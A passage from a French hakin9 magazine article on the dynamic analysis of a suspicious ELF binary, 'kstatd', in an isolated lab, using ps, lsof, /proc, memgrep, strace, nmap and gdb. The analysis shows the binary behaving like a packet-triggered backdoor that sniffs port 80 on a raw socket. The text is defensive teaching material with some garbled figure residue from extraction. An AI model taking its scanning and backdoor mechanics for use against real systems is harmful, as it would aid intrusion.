peut être très difficile – il est donc nécessaire
de préparer un environnement système et réseau séparé dans lequel il sera possible d'effectuer en toute sécurité le démarrage contrôlé
Cet article explique...
•
•
comment effectuer l'analyse dynamique du
code exécutable ELF,
comment utiliser le débogueur gdb.
Ce qu'il faut savoir...
•
•
•
le langage de programmation C,
au moins les notions de base du langage
Assembleur,
utiliser la ligne de commande des systèmes de
la famille *NIX.
hakin9 N o 2/2005
Analyse dynamique du code exécutable
Polygone sûr
L'environnement réseau dans lequel nous voulons effectuer l'analyse dynamique doit
être séparé physiquement et logiquement (VLAN, règles du pare-feu) des autres
réseaux. Si nous supposons que le programme analysé peut entrer en interaction
avec les systèmes via Internet, en option, nous pouvons permettre les connexions
extérieures.
Dans ce cas, à part le système dans lequel l'analyse sera effectué, l'environnement
réseau séparé doit contenir aussi un hôte jouant le rôle d'un sniffeur du trafic réseau
et l'hôte auquel nous pourrons envoyer les résultats éventuels de l'analyse.
La configuration du système d'exploitation dans lequel l'analyse sera effectuée doit
rassembler à l'environnement dans lequel le programme suspect a été trouvé. C'est
particulièrement important, si le programme en question est compilé dynamiquement
et nécessite pour son fonctionnement les bibliothèques partagées.
L'emploi des outils tels que Tripwire ou AIDE pour la création des sommes cryptographiques des fichiers est aussi une très bonne idée. Les sommes cryptographiques
générées peuvent être également utilisées dans l'analyse ultérieure pour vérifier
l'intégrité des fichiers sur différentes étapes et détecter les modifications éventuelles
introduites par le programme analysé. Nous pouvons aussi employer les outils plus
avancés comme SAMHAIN ou Osiris qui, outre la vérification de l'intégrité des fichiers,
vérifient l'intégrité des structures du noyau du système. Pour s'assurer que les outils
utilisés dans l'analyse n'ont pas été modifiés, il est recommandé de se servir des outils
disponibles sur des supports extérieurs protégés contre écriture, par exemple ceux
disponibles sur hakin9.live.
L'environnement du système d'exploitation dans lequel nous effectuerons l'analyse, ne doit pas nécessairement être un hôte physique dans le réseau. Une alternative intéressante serait l'utilisation de programmes permettant d'émuler un autre hôte.
VMware est l'un des programmes de ce type – il permet de créer et de restaurer facilement la copie du système (toutes les informations sur le système virtuel sont stockées
dans quelques fichiers). Son autre avantage est la possibilité de créer des copies
(snapshots) de l'état du système et d'annuler les changements jusqu'à l'état mémorisé
et la possibilité de commuter le travail du disque de l'hôte virtuel du mode Persistent
en mode Non Persistent. En résultats, toutes les modifications qui ont été effectuées
lors du fonctionnement du système ne sont pas mémorisées et après le redémarrage,
le système revient à l'état initial.
et de tracer les actions exécutées
(cf. l'Encadré Polygone sûr).
Dans notre analyse, nous utiliserons deux hôtes qui se trouvent
dans un réseau physiquement séparé (cf. la Figure 1). Sur le premier,
nous installerons le programme
VMware, sur le deuxième, le système de confiance avec un sniffeur
(auquel nous enverrons les résultats de l'analyse). Dans l'environnement VMware, un hôte virtuel avec
le système d'exploitation Red Hat
Linux 7.3 sera installé (la version
��������������������������������������������
��������
�����������������
�����������������������������������
�������������
��������
�����������������������
�����
�����
Figure 1. Schéma de l'environnement d'analyse
hakin9 N o 2/2005
www.hakin9.org
dans laquelle le programme suspect a été retrouvé). Pour faciliter
l'écoute du trafic, les hôtes seront
connectés en réseau à l'aide d'un
concentrateur (hub).
Après tous ces préparatifs,
dans le système dans lequel nous
effectuons l'analyse, nous générons
à l'aide de l'outil AIDE, les sommes
cryptographiques de tous les éléments importants, et ensuite, nous
les exportons à un hôte de confiance. Dans l'environnement ainsi
préparé, nous copions le programme
à analyser et nous activons le mode
de travail Non Persistent sur le disque virtuel. Le système est prêt.
Analyse dynamique du
code exécutable
L'analyse sera effectuée en trois
étapes (cf. la Figure 2). Dans la
première, nous lancerons le programme analysé de façon standard
(sans utiliser les mécanismes de
surveillance) et nous effectuerons
une estimation générale à partir
des informations disponibles dans
le système d'exploitation. Dans
la seconde étape, nous tenterons
de suivre les appels des fonctions
système. Enfin, dans la troisième
étape, nous suivrons le fonctionnement du programme au moyen d'un
débogueur. Chaque étape successive permettra d'obtenir les informations plus détaillées concernant
le programme analysé.
Après la fin de chaque étape,
il sera possible de vérifier les sommes cryptographiques des fichiers
et de redémarrer le système pour
s'assurer si le programme analysé
n'a pas effectué des modifications
qui pourraient influencer négativement les résultats obtenus dans les
étapes ultérieures.
Étape I – le lancement
standard du
programme
Dans la première étape, nous analyserons le programme d'une façon
générale. Pour reconnaître son type
et obtenir les informations de base,
nous utiliserons la commande file.
57
Listing 1. Informations obtenues à l'aide de la commande ps
# ps ax -o pid,%cpu,%mem,stat,caught,ignored,blocked,eip,esp,stackp,flags,wchan,tty,cmd
PID %CPU %MEM STAT
CAUGHT
IGNORED
BLOCKED
EIP
ESP
STACKP
F WCHAN
7058 0.0 0.3 S
0000000000014022 8000000000200000 0000000000000000 080622c2 bffff8ec bffffb80 040 schedule _ timeout
…
L'une des informations les plus
importantes est la méthode de
compilation du programme étudié.
Comme l'on peut remarquer, le
programme à analyser est compilé
statiquement :
# file kstatd
kstatd: ELF 32-bit
LSB executable,
Intel 80386,
version 1 (SYSV),
statically linked, stripped
Passons maintenant au démarrage
du programme et à l'analyse des
informations que l'on peut obtenir
à partir des structures de données
stockées dans le système d'exploitation. L'une des informations de
ce type est le résultat du fonctionnement de la commande ps, permettant d'obtenir, par exemple, les
informations sur l'utilisation du processeur (%CPU), de la mémoire (%MEM )
et de l'état du processus (STAT), qui
indiquent l'activité du processus
analysé. Les informations sur les
signaux interceptés ( CAUGHT), négligés (IGNORED) et verrouillés ( BLOCKED)
indiqueront comment le processus analysé réagira aux signaux
qui lui sont envoyés. L'état du registre du processeur %eip ( EIP)
montrera l'adresse de l'instruction
en cours d'exécution. La valeur du
champ STACKP révélera l'emplacement du bas de la pile, et le registre
%esp ( ESP) – l'adresse de son sommet actuel. De plus, à partir des résultats de la commande ps (champ
WCHAN), nous pourrons connaître les
informations concernant le nom ou
l'adresse de la fonction (ce qu'on
appelle canal) dans laquelle le processus est endormi (le processus
ayant l'état Running dans le champ
WCHAN a un tiret). Le champ désigné
�����������������������������
��������������
������������������������������
�������������������������������������������
��������������������
�������������������������
�������������������������
����������������������������
�����������������������
�����������������������������������������
����������������������������������������
�����������������������������������������
������������������������
CMD
./kstatd
�����������
������������������
���������������������������
�������������������������
��������������������������������
��������������������������������
��������������������������������������
�������������������������
���������������������������
����������������������������������
���������������������������������
�������������������������������������
�������������������������������������
������������������������������
������������������������
������������������
Défense
����������������������������������������
���������������������
��������������������
���������������������
���
���
���������������������������
������������������
Figure 2. Déroulement de l'analyse dynamique
58
www.hakin9.org
hakin9 N o 2/2005
Analyse dynamique du code exécutable
par la lettre F (FLAGS) détermine les
drapeaux actuels du processus.
Pour pouvoir tracer le processus,
la commande ps peut être lancée
plusieurs fois. Il est également possible d'utiliser l'outil de type top qui
met à jour la liste de processus en
cours dans un intervalle de temps
défini. Lançons donc la commande
ps avec les arguments appropriés
(cf. le Listing 1).
Consultons les informations obtenues. L'utilisation du processeur
et l'état du processus kstatd indiquent qu'au moment du lancement
de la commande ps, il n'a effectué
aucun calcul intense et était en mode endormi (fonction schedule _ timeout()). De plus, après un lancement
multiple de la commande ps, il s'est
avéré que la valeur du registre %eip
indique que le processus attend un
évènement ou une ressource non
défini à ce moment.
À la suite de l'analyse des signaux, nous pouvons savoir quels
signaux sont interceptés, négligés
et bloqués (la définition des masques : _ _sigmask(sig) (((unsigned
long int) 1) << (((sig) - 1) % (8 *
sizeof (unsigned long int))))
dans
Listing 2. Informations obtenues à l'aide de la commande lsof
# lsof -p 7058
COMMAND PID USER
kstatd 7058 root
kstatd 7058 root
kstatd 7058 root
kstatd 7058 root
FD
cwd
rtd
txt
3u
TYPE DEVICE
SIZE
NODE NAME
DIR
8,1
4096 440795 /analysis
DIR
8,1
4096
2 /
REG
8,1 522680 440796 /analysis/kstatd
sock
0,0
13548 can't identify protocol
le fichier /usr/include/bits/sigset.h).
Le processus intercepte les signaux
avec le masque : 10000 (0x17 – SIGCHLD), 4000 (0xf – SIGTERM ), 20 (0x6 –
SIGABRT) et 2 (0x2 – SIGINT) et néglige
le signal 200000 (0x16 – SIGTTOU). Les
drapeaux du processus (040 = forked
but didn't exec) montrent que le processus est passé en mode de travail
de fond à la suite de l'exécution de la
fonction fork().
Outre les informations obtenues
à l'aide de la commande ps, les
données sur les fichiers ouverts par
le processus peuvent aussi s'avérer
très utiles – dans le système de type
UNIX, un fichier ouvert peut être un
élément quelconque (p. ex. un fichier
ordinaire, un répertoire, des fichiers
de périphériques, des bibliothèques
partagées, des flux, des fichiers
réseau – un socket de type internet
Système de fichiers virtuel procfs dans Linux
Dans le système Linux, le répertoire /proc est un système de fichiers virtuel qui joue
le rôle d'interface pour les structures de données du noyau du système d'exploitation.
Il contient un ensemble d'informations les plus importantes sur les processus en cours
dans le système et dans le noyau. Le répertoire /proc se compose, entre autres, des
sous-répertoires dont les noms répondent aux numéros PID des processus en cours.
Chacun de ces sous-répertoires contient les fichiers suivants :
•
•
•
•
•
•
•
•
•
•
cmdline – la liste de paramètres passés au processus lancé à partir de la ligne de
commandes,
cwd – le lien au répertoire courant de travail dans l'environnement du processus
lancé,
environ – la liste de variables d'environnement du processus lancé,
exe – le lien au fichier du programme lancé,
fd – contient les liens aux descripteurs de fichiers ouverts par le processus qui
constituent des liens symboliques au fichier approprié (la valeur 0 indique l'entrée
standard, 1 – la sortie standard, 2 – sortie d'erreur standard),
maps – le fichier contenant les informations sur les régions de la mémoire mappées par le processus et sur les droits d'accès à ces régions,
mem – l'accès à la mémoire du processus au moyen des fonctions open(), read(),
fseek(),
root – le répertoire principal du système de fichiers supérieur au processus lancé,
stat – les informations statistiques sur le processus (la définition dans le fichier
/usr/src/linux/fs/proc/array.c),
statm – les informations statistiques sur l'utilisation de la mémoire.
hakin9 N o 2/2005
www.hakin9.org
ou un socket de type unix). Pour
obtenir ces informations, nous nous
servirons de la commande lsof. Par
défaut, lsof affiche la liste de tous
les fichiers ouverts dans le système
avec leurs noms, types, tailles, nom
et numéro PID du processus qui les
a ouverts. Pour consulter les fichiers
ouverts seulement par le processus
indiqué, il faut utiliser l'option –p
(cf. le Listing 2).
Prêtons attention aux informations sur le fichier de type socket
(sock) ouvert en lecture et en écriture (u) sans aucun protocole déterminé. Remarquons aussi que dans
la liste obtenue, les fichiers ouverts
ayant les descripteurs 0 (entrée
standard), 1 (sortie standard) et 2
(sortie d'erreur standard) sont absents. Cela signifie que tous ces
canaux de communication ont été
fermés par le processus analysé.
Si le programme analysé avait été
compilé dynamiquement, le résultat
de la commande lsof obtenu aurait
contenu aussi les informations sur
les bibliothèques partagées utilisées.
Un autre élément fournissant
les informations de base sur l'état
du système et les processus en
cours est évidemment le système
de fichiers virtuel procfs. Il joue le
rôle d'interface pour les structures
de données du noyau du système
(cf. l'Encadré Système de fichiers
virtuel procfs dans Linux).
En consultant le contenu du
sous-répertoire dont le nom correspond au numéro PID du processus
analysé, nous pouvons retrouver,
par exemple, les informations présentées dans le Listing 3. Il est facile
de remarquer que nous avons déjà
obtenues plusieurs de ces informations au moyen des commandes ps
et lsof. De nouvelles informations
59
Listing 3. Informations sur le programme analysé obtenues à partir du
répertoire /proc
Listing 5. Affichage du contenu
du segment .rodata
# more status
Name:
kstatd
State: S (sleeping)
Tgid:
7058
Pid:
7058
PPid:
1
TracerPid:
0
Uid:
0
0
0
Gid:
0
0
0
FDSize: 32
Groups: 0 1 2 3 4 6 10
VmSize:
532 kB
VmLck:
0 kB
VmRSS:
208 kB
VmData:
20 kB
VmStk:
8 kB
VmExe:
492 kB
VmLib:
0 kB
SigPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 8000000000200000
SigCgt: 0000000000014022
CapInh: 0000000000000000
CapPrm: 00000000fffffeff
CapEff: 00000000fffffeff
# memgrep -p 7058 -d -a rodata \
-l 700 -F printable
700 bytes starting at 080a6fa0
(+/- 0) as printable...
080a6fa0: ......../dev/pty
080a6fb0: XX.pqrstuvwxyzPQ
080a6fc0: RST.0123456890ab
080a6fd0: cdef.tty../bin/s
080a6fe0: h.eth0.dst port
080a6ff0: 80..............
080a7000: @(#) $Header: /t
080a7010: cpdump/master/li
080a7020: bpcap/bpf/net/bp
080a7030: f_filter.c,v 1.3
080a7040: 5 2000/10/23 19:
080a7050: 32:21 fenner Exp
080a7060: $ (LBL)........
080a7070: ................
080a7080: @(#) $Header: /t
080a7090: cpdump/master/li
080a70a0: bpcap/bpf_image.
080a70b0: c,v 1.24 2000/07
080a70c0: /11 00:37:04 ass
080a70d0: ar Exp $ (LBL)..
…
080a71a0: @(#) $Header: /t
080a71b0: cpdump/master/li
080a71c0: bpcap/etherent.c
080a71d0: ,v 1.21 2000/07/
080a71e0: 11 00:37:04 assa
080a71f0: r Exp $ (LBL)...
080a7200: @(#) $Header: /t
080a7210: cpdump/master/li
080a7220: bpcap/grammar.y,
080a7230: v 1.64 2000/10/2
080a7240: 8 10:18:40 guy E
080a7250: xp $ (LBL)..
# ls -la fd
total 0
dr-x-----dr-xr-xr-x
lrwx------
2 root
3 root
1 root
# more maps
address
08048000-080c3000
080c3000-080c6000
080c6000-080cb000
bfffe000-c0000000
0
0
root
root
root
perms offset
r-xp 00000000
rw-p 0007b000
rwxp 00000000
rwxp fffff000
0 Feb 12 20:26 .
0 Feb 12 20:20 ..
64 Feb 12 20:26 3 -> socket:[13548]
dev
08:01
08:01
00:00
00:00
inode
440796
440796
0
0
pathname
/analysis/kstatd
/analysis/kstatd
Listing 4. Affichage des segments de la mémoire du processus
Défense
# memgrep -p 7058 -L
.bss
=> 080c5a20
.data
=> 080c3000 (5216 bytes, 5 Kbytes)
.rodata => 080a6fa0 (113544 bytes, 110 Kbytes)
.text
=> 080480e0 (388768 bytes, 379 Kbytes)
stack
=> bffffb80
60
concernent le mappage des éléments
spécifiques du programme dans la
mémoire : l'étendu de l'adressage
occupé par un élément du processus,
les droits d'accès à ces éléments spécifiques (r – read, w – write, x – execute, s – shared, p – private), le décalage
par rapport au début du fichier, le numéro du périphérique (major, minor), le
numéro d'i-node, le chemin et le nom
du fichier source.
Dans la première étape, il est aussi recommandé d'analyser la mémoire
du programme lancé. Nous pouvons
avoir l'accès à la mémoire du processus à l'aide des fonctions open(2),
read(2) et fseek(3) exécutées sur le
fichier mem localisé dans le répertoire /proc/PID/. Pour analyser le contenu de la mémoire, nous utiliserons
memgrep (il permet aussi d'analyser
les copies core). L'une des fonctions
www.hakin9.org
les plus importantes de cet outil est
la possibilité d'afficher la mémoire du
processus à partir de l'adresse indiquée (d'une longueur appropriée et au
format déterminé) et de rechercher la
mémoire du processus.
À la suite de l'utilisation de l'outil
memgrep pour l'affichage des segments de la mémoire du processus
analysé (cf. le Listing 4) et de l'affichage du contenu des caractères
imprimables de la section .rodata (cf.
le Listing 5), nous obtenons des informations répétitives sur la bibliothèque
libpcap (packet capture) – cela suggère que le programme analysé l'utilise.
Les chaînes de caractères définissant
le nom de l'interface réseau (eth0), du
périphérique du terminal /dev/ptyXX ,
du shell système /bin/sh apparaissent.
hakin9 N o 2/2005
Analyse dynamique du code exécutable
Au lieu de strace
Strace n'est pas le seul outil servant à tracer les appels des fonctions système. Une
alternative intéressante à l'outil strace peut être syscalltrack. Cet outil permet de définir
les appels à tracer et de déterminer les actions à effectuer, si un critère défini est satisfait. Par exemple, comme action nous pouvons prendre le fait d'appeler, d'imposer
un échec de l'appel ou de suspendre le processus réalisant l'appel. Syscalltrack fonctionne au niveau du noyau et est chargé dans le système sous forme de deux modules
(sct _ rules, sct _ hijack). Pour analyser les programmes compilés dynamiquement,
outre les outils strace et syscalltrack, nous pouvons employer le programme ltrace dont
la fonction principale consiste à suivre les appels des bibliothèques dynamiques.
La chaîne de caractères dst port 80
pouvant jouer le rôle d'un filtre des paquets pour les fonctions de la bibliothèque libpcap est aussi affichée.
À cette étape, il faudrait vérifier
la liste des ports ouverts. Vu que
nous avons utilisé la commande
lsof, l'emploi de la commande netstat
paraît dans ce cas inutile. Pourtant,
afin d'obtenir les informations sûres
concernant les ports ouverts, nous
devons scanner les ports à partir
d'un hôte de confiance (p. ex. à l'aide
de l'outil Nmap). De plus, il est possible de vérifier la conformité des sommes cryptographiques avec la base
générée auparavant et consulter les
journaux du sniffeur pour détecter
les tentatives de connections aux
systèmes extérieurs. Dans le cas
analysé, nous n'avons pas remarqué
de nouveau port ouvert, l'intégrité
des fichiers n'a pas été non plus violée et le sniffeur n'a rien enregistré
d'intéressant.
Étape II – le traçage
des appels des
fonctions système
et des références aux
bibliothèques
Dans l'étape suivante, nous suivrons
les actions du programme à partir de
l'analyse des appels des fonctions
système. Pour ce faire, nous nous
Listing 6. Traçage des appels des fonctions système à l'aide de l'outil strace
# more kstatd.out
[????????] execve("./kstatd", ["./kstatd"], [/* 19 vars */]) = 0
[08061dae] fcntl64(0, F_GETFD)
= 0
[08061dae] fcntl64(1, F_GETFD)
= 0
[08061dae] fcntl64(2, F_GETFD)
= 0
[0806090d] uname({sys="Linux", node="mlap.test.lab", ...}) = 0
[0807fd44] geteuid32()
= 0
[08060ad4] getuid32()
= 0
[0807fe1c] getegid32()
= 0
[0807fdb0] getgid32()
= 0
[08080291] brk(0)
= 0x80c7a0c
[08080291] brk(0x80c7a2c)
= 0x80c7a2c
[08080291] brk(0x80c8000)
= 0x80c8000
[08056948] rt_sigaction(SIGCHLD, {0x8048768, [CHLD], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
[08056948] rt_sigaction(SIGABRT, {0x8048920, [ABRT], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
[08056948] rt_sigaction(SIGTERM, {0x8048920, [TERM], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
[08056948] rt_sigaction(SIGINT, {0x8048920, [INT], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
[08056948] rt_sigaction(SIGTTOU, {SIG_IGN}, {SIG_DFL}, 8) = 0
[08062302] socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
[08062104] ioctl(3, 0x8915, 0xbffff9c0) = 0
[08062104] ioctl(3, 0x891b, 0xbffff9c0) = 0
[08061b4d] close(3)
= 0
[08062302] socket(PF_PACKET, SOCK_RAW, 768) = 3
[08062104] ioctl(3, 0x8933, 0xbffff920) = 0
[08062104] ioctl(3, 0x8927, 0xbffff920) = 0
[08062104] ioctl(3, 0x8933, 0xbffff920) = 0
[08062262] bind(3, {sin_family=AF_PACKET, proto=0x03, if2, pkttype=0, addr(0)={0, }, 20) = 0
[080622e2] setsockopt(3, SOL_PACKET, PACKET_ADD_MEMBERSHIP, [2], 16) = 0
[08062104] ioctl(3, 0x8921, 0xbffff920) = 0
[080622e2] setsockopt(3, SOL_SOCKET, 0x1a /* SO_??? */, [28], 8) = 0
[08061dae] fcntl64(3, F_GETFL)
= 0x2 (flags O_RDWR)
[08061dae] fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0
[080622a2] getsockopt(3, SOL_SOCKET, SO_RCVBUF, [65535], [4]) = 0
[08061b74] read(3, 0xbffff5e0, 1024)
= -1 EAGAIN (Resource temporarily unavailable)
[08061dae] fcntl64(3, F_SETFL, O_RDWR) = 0
[08061b4d] close(0)
= 0
[08061b4d] close(1)
= 0
[08061b4d] close(2)
= 0
[08060977] fork()
= 8022
[0806099d] _exit(0)
= ?
hakin9 N o 2/2005
www.hakin9.org
61
��������������������������������������
�����������
�
�
�
�
�
�
�
�
�
�����������
�
�
�
�
������������������������
�������������������������������������
������������������
���������
�
�
�
�
�
�
�
���������������������
�������������������������
������������������������������������
���������������������
���������
�
�
�
�
�
�
�
�
���
��������������������������
�
�
�
�
���
���������������������������
Défense
Figure 3. Ordre d'octets réseau – conversion
servirons de l'outil strace, bien que
ce ne soit pas le seul programme
conçu à cet effet (cf. l'Encadré Au
lieu de strace).
Les noms des appels des
fonctions système enregistrés par
strace, leurs arguments et les valeurs retournées sont par défaut
envoyés à la sortie d'erreur, mais
ils peuvent être aussi redirigés vers
un fichier déterminé (option -o). Si
nous voulons tracer les processus
fils créés par le processus analysé,
il faut utiliser l'option (-f). Une fonction très utile est la possibilité d'enregistrer les résultats pour chacun
des processus fils créés dans les
fichiers à part (utilisation des options
-ff et -o). Si nous voulons ajouter
au résultat les informations sur la
valeur du registre %eip au moment
de l'appel d'une fonction système,
il faut employer l'option -i. Ce qui est
le plus intéressant pour nous, c'est
la possibilité de suivre le processus
en cours – il suffit d'utiliser l'option
-p dans laquelle il faut déterminer le
PID du processus à suivre.
Lançons donc le traçage du
programme analysé. Les résultats seront redirigés vers le fichier
kstatd.out (cf. le Listing 6) :
# strace -ff -i -o \
kstatd.out /analysis/kstatd
Les lignes au début (depuis 08061dae
jusqu'à 08080291) sont liées aux appels des fonctions système en cours
d'initialisation du processus et ne
62
nous intéressent pas. Les informations intéressantes apparaissent
avec la ligne 08056948 – la fonction
système rt _ sigaction() est appelée plusieurs fois. Cette fonction
détermine la gestion des signaux
sélectionnés. Nous avons obtenu
ces informations auparavant, à la
suite de l'exécution de la commande
ps, mais dans ce cas (outre les informations sur les signaux interceptés
et négligés), nous pouvons obtenir
aussi les adresses des fonctions de
gestion de ces signaux.
L'appel suivant est la fonction
socket() qui crée le socket pour la
communication réseau et retourne
le descripteur y associé (08062302).
Ensuite, la fonction ioctl() est appelée – grâce à elle, nous pouvons
charger ou modifier les valeurs des
paramètres du périphérique associé
au descripteur (08062104). Après l'analyse du second argument de la fonction ioctl(), nous pouvons apprendre
que l'adresse de l'interface (0x8915 =
SIOCGIFADDR) et l'adresse du réseau
(0x891b = SIOCGIFNETMASK) ont été
chargées – les définitions proviennent
du fichier /usr/include/linux/sockios.h.
Après quelques instants, le socket est
fermé (08061b4d), ce qui suggère que
la tâche du fragment du code appelant
ces fonctions consiste uniquement
à acquérir ces informations.
Ensuite (08062302), à l'aide de la
fonction socket(), un socket est créé
– ses paramètres indiquent qu'il peut
être utilisé pour recevoir et envoyer les
paquets en mode brut (raw socket).
www.hakin9.org
Le type de socket SOCK _ RAW signifie
la possibilité d'accéder aux paquets
au niveau de la couche de liaison de
données dans le modèle ISO/OSI.
Le troisième argument de la fonction
socket() est le numéro du protocole
géré. Vu que le numéro du protocole
est transféré en ordre réseau, en inversant la valeur 768 (ntohs(768), cf. la
Figure 3), nous obtenons la valeur 3
(ETH _ P _ ALL – la définition du fichier
/usr/include/linux/if_ether.h), ce qui
signifie que tous les paquets, indépendamment du protocole appliqué,
seront gérés. Si nous analysons le second argument de la fonction ioctl()
nous pouvons apprendre que le nom
de l'interface réseau est mappé sur
son index (SIOCGIFINDEX) et l'adresse
matérielle de l'interface (SIOCGIFHWADDR) est chargée.
Les
actions
successives
(08062262) consistent à affecter au
socket créé une adresse locale
à l'aide de l'appel de la fonction système bind() et à appeler la fonction
setsockopt() permettant de modifier les paramètres liés au socket.
L'un des arguments passé à cette
fonction est SOL _ PACKET qui permet,
entre autres, d'activer le mode promiscuous (dans le cas analysé, ce
mode n'a pas été activé). Ensuite, la
fonction ioctl() est appelée. Cette
fois-ci, elle est utilisée pour obtenir
la valeur MTU (SIOCGIFMTU) pour le
socket créé.
L'appel suivant (080622e2) de
la fonction système setsockopt()
confirme notre soupçon en ce qui
concerne l'emploi par l'auteur du
programme kstatd de la bibliothèque
libpcap parce que la vérification de la
valeur mystérieuse – 0x1a /* SO _ ???
*/ – passée en tant que second argument de l'appel se réfère à l'option
SO _ ATTACH _ FILTER (la définition du
fichier /usr/include/asm/socket.h).
L'utilisation de cette option suggère
l'affectation préalable au socket créé
du filtre des paquets dst port 80.
Il en résulte que malgré le mode
promiscuous de l'interface désactivé, l'écoute du trafic réseau a été
effectuée.
Ensuite, dans le programme
analysé (08061dae), l'état du drapeau
hakin9 N o 2/2005
Analyse dynamique du code exécutable
close-on-exec pour le descripteur du
socket est vérifié (au moyen de l'appel de la fonction fcntl()). Le second
appel de cette fonction fixe la valeur
du drapeau sur O _ RDWR|O _ NONBLOCK .
Dans les instructions successives, le
programme charge les informations
sur le tampon et essaie, avec échec,
de lire les données du socket. Cette
erreur est probablement due au fait
que l'auteur de kstatd a positionné
le drapeau O _ NONBLOCK et que le
programme a tenté de lire le contenu
du socket qui ne contenait encore
aucun paquet.
Les appels successifs des fonctions système (0806b4d) ferment
l'entrée standard (0), la sortie (1)
et la sortie d'erreurs (2). Les dernières (08060977 et 0806099d) fonctions
système appelées dans le fichier de
résultats analysé kstatd.out sont :
la fonction fork() et la fin du processus supérieur – exit(). À ce moment,
le processus est passé en mode de
travail de fond.
Mais ce n'est pas tout. Lors du
fonctionnement de l'outil strace, un
second fichier de résultat a été créé
– kstatd.out.PID (où PID est l'identifiant du processus). Il a été créé
à la suite de l'appel de la fonction système fork(). Ce fichier ne
contient qu'une seule ligne dans
laquelle la fonction recvfrom()
est appelée. Cette fonction est
employée pour recevoir les informations à partir du socket (indépendamment du fait que ce dernier
soit orienté connexion ou non). Le
premier argument de la fonction
recvfrom() est le numéro du socket
(dans notre cas, c'est la valeur 3)
qui a été ouvert dans le fichier de
résultat précédent de strace :
# more kstatd.out.8022
[080622c2] recvfrom(3,
À partir de l'analyse précédente,
nous savons que le socket créé
reçoit tous les paquets, indépendamment du protocole, mais le filtre dst
port 80 est aussi défini. Essayons
donc de générer le trafic réseau
et observer si le programme analysé
réagit. Pour générer les paquets,
hakin9 N o 2/2005
Listing 7. Paquet enregistré par recvform()
# more kstatd.out.8022
[080622c2] recvfrom(3, "\0\f)\321\'\202\0\f)\22\24N\10\0E\0\0
(\242%\0\0004\6\267"..., 200, MSG_TRUNC, §
{sa_family=AF_PACKET, proto=0x800, if2, §
pkttype=PACKET_HOST, addr(6)={1, 000c2912144e}, [20]) = 60
[08062104] ioctl(3, 0x8906, 0xbffff710) = 0
[080622c2] recvfrom(3,
scannons encore une fois le système
virtuel au moyen de l'outil Nmap :
# nmap –sS –P0 10.10.12.197
Il s'est avéré que le programme analysé a réagi. La fonction recvform()
a été débloquée et a enregistré un
paquet (cf. le Listing 7).
Vu que parmi plusieurs paquets
envoyés, seulement un a été accepté, nous pouvons être sûrs que
le filtre dst port 80 a été utilisé. Bien
que le paquet parvienne au port 80,
le programme est retourné à la boucle d'attente d'un paquet déterminé,
ce qui indique que des conditions
supplémentaires doivent être satisfaites. Puisque nous ne connaissons pas les conditions devant être
satisfaites pour activer les fonctions
définies dans le programme, ce type
d'analyse n'a plus de sens. Il faut
donc acquérir les informations qui
nous permettrons de connaître les
conditions attendues pour le paquet.
L'une des méthodes qui doit nous
permettre d'obtenir ces informations
est le débogage.
Étape III – débogage
L'élément suivant de l'analyse dynamique est le débogage, c'est-à-dire
l'analyse pas à pas, de l'exécution
du programme, du contenu de la
mémoire et de l'état du processeur.
Pour l'effectuer, nous utiliserons
gdb, l'outil disponible par défaut
dans les systèmes Linux/*BSD. Les
informations sur le débogueur gdb
et ses commandes principales sont
présentées dans l'Encadré Guide
de gdb.
Pourtant, si le programme a été
compilé statiquement et soumis au
stripping, le débogage peut être inefficace. Il est évident que cela est dû
www.hakin9.org
§
au manque des symboles (l'effet de
l'utilisation de la commande strip).
De plus, il devient impossible de
distinguer facilement le code des
fonctions de bibliothèques ajouté
du code utilisateur. Dans ce cas, si
nous ne tentons pas de reconstruire
le tableau des symboles, l'analyse
peut être longue et fastidieuse. Pour
y remédier, nous pouvons essayer
de déterminer ou de récupérer les
symboles grâce aux outils de type
dress ou elfgrep (cf. l'article Ingénierie inverse du code exécutable
ELF dans l'analyse après intrusion,
hakin9 1/2005).
Si l'opération de récupération de
la liste des symboles supprimés ne
réussissait pas, pour nous faciliter le
débogage, nous pourrions observer
les appels des fonctions système.
Nous pouvons retrouver leurs appels
dans le code en recherchant les
endroits des appels de l'interruption
int 0x80. L'appel système déterminé
est réalisé par le transfert dans le
registre %eax de la valeur affectée
à la fonction système. Les autres paramètres de l'appel de la fonction (en
fonction de leur nombre) sont passés dans les registres %ebx, %ecx,
%edx, %esi, %edi et %ebp.
Dans le cas du programme
analysé, pour récupérer la liste des
symboles supprimés, nous avons
employé l'outil elfgrep avec les
scripts (search_static, gensymbols)
qui automatisent ce processus :
# bin/search_static kstatd_s_strip \
/home/install/libc/libc_components \
> obj_file
# bin/search_static kstatd_s_strip \
/home/install/libc/pcap_components \
>> obj_file
…
# bin/gensymbols obj_file > symbols_db
63
Guide de gdb
Disponible par défaut dans les distributions Linux/*BSD, le
débogueur gdb permet d'effectuer quatre actions principales :
•
break *0x08048010 – le placement du point d'interruption
•
clear (cl) – la suppression des points d'interruption.
•
L'affichage du contenu de la mémoire ou des valeurs du registre
– print (p) :
•
•
•
le lancement du programme avec la possibilité de définir
les paramètres qui peuvent influencer son comportement,
l'analyse pas à pas et l'arrêt du fonctionnement du programme sur l'endroit souhaité ou après que les conditions
déterminées soient satisfaites,
la consultation des effets de l'exécution du programme, si
celui-ci est arrêté,
la modification de certains éléments du programme pour
estimer leur influence sur son comportement.
gdb possède aussi le système d'aide avancé, très utile surtout
pour les utilisateurs peu expérimentés (commande help).
Au-dessous, nous présentons les commandes les
plus utiles du débogueur gdb avec les exemples d'emploi
(entre parenthèses, les raccourcis des commandes sont
affichés).
Le désassemblage du code du programme analysé – disassemble (disass) :
•
disassemble 0x0804800 0x08048ff – le désassemblage
•
disassemble
•
•
du code de la plage de mémoire déterminée,
main+0 main+55 – le désassemblage du
code de la plage de mémoire déterminée avec l'utilisation
des symboles,
disassemble main – le désassemblage du code à partir du
symbole indiqué,
disassemble 0x0804800 – le désassemblage du code
à partir de l'adresse indiquée.
à l'adresse indiquée,
•
•
•
print $eax – l'affichage de la valeur du registre choisi,
print
main(),
main – l'affichage de l'adresse de la fonction
print *0x08048010 – l'affichage de la valeur qui se trouve
à l'adresse indiquée.
L'analyse du contenu de la mémoire – x :
•
•
•
•
•
